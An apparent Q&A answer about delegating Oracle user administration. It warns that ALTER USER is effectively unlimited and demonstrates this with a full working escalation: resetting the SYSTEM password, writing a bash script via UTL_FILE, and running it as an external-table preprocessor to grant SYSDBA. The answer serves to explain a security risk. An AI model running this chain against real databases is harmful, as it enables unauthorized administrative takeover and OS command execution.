Oracle - How do I grant a user permission to create and change passwords for other users (like a security admin)
You may grant ALTER USER and CREATE USER to that user to get this done. By doing that, you also grant unlimited access indirectly to that user in most databases, which you wanted to avoid.
Connected to:
Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production
Version 19.9.0.0.0

SQL&gt; create user u1 identified by u1;

User created.

SQL&gt; grant create session, alter user to u1;

Grant succeeded.

SQL&gt; conn u1/u1
Connected.
SQL&gt; alter user system identified by system;

User altered.

SQL&gt; conn system/system
Connected.
SQL&gt; show user
USER is &quot;SYSTEM&quot;

That was all it took to gain access to SYSTEM or any other privileged user besides SYS. This already provides read/write access to the filesystem as database user.
SQL&gt; select SYS_CONTEXT ('USERENV','ORACLE_HOME') as home,
            SYS_CONTEXT ('USERENV','INSTANCE_NAME') as instance from dual;

HOME                                     INSTANCE
---------------------------------------- --------------------
/u01/app/oracle/product/19.0.0/dbhome_1  RYMIN19

SQL&gt; create directory exploitd1 as '/tmp';

Directory created.

SQL&gt; create directory exploitd2 as '/usr/bin';

Directory created.

SQL&gt; declare
  fhandle  utl_file.file_type;
begin
  fhandle := utl_file.fopen('EXPLOITD1', 'data.txt', 'w');
  utl_file.put(fhandle, '#!/bin/bash' || CHR(10));
  utl_file.put(fhandle, 'export ORACLE_HOME=/u01/app/oracle/product/19.0.0/dbhome_1' || CHR(10));
  utl_file.put(fhandle, 'export PATH=$ORACLE_HOME/bin:$PATH' || CHR(10));
  utl_file.put(fhandle, 'export ORACLE_SID=RYMIN19' || CHR(10));
  utl_file.put(fhandle, 'sqlplus / as sysdba&lt;&lt;EOF' || CHR(10));
  utl_file.put(fhandle, 'grant sysdba to u1;' || CHR(10));
  utl_file.put(fhandle, 'exit' || CHR(10));
  utl_file.put(fhandle, 'EOF');
  utl_file.fclose(fhandle);
end;
/

PL/SQL procedure successfully completed.

Next create an external table using the above script executed with bash as preprocessor:
SQL&gt; CREATE TABLE exploit_table (c1 varchar2(2000))
ORGANIZATION EXTERNAL (
TYPE ORACLE_LOADER
DEFAULT DIRECTORY exploitd1
ACCESS PARAMETERS (
RECORDS DELIMITED BY NEWLINE
PREPROCESSOR exploitd2:'bash'
DISABLE_DIRECTORY_LINK_CHECK
FIELDS (c1 char(2000)))
LOCATION ('data.txt'))
REJECT LIMIT UNLIMITED;

Table created.

SQL&gt;

And here comes the fun part:
SQL&gt; select USERNAME, SYSDBA from v$pwfile_users;

USERNAME                       SYSDB
------------------------------ -----
SYS                            TRUE

SQL&gt; select count(*) from exploit_table;

  COUNT(*)
----------
        16

SQL&gt; select USERNAME, SYSDBA from v$pwfile_users;

USERNAME                       SYSDB
------------------------------ -----
SYS                            TRUE
U1                             TRUE

SQL&gt;

If you want to really limit the privileges of this security admin, you will need some custom PL/SQL trigger or package/procedure that controls which users can be created and altered by this user.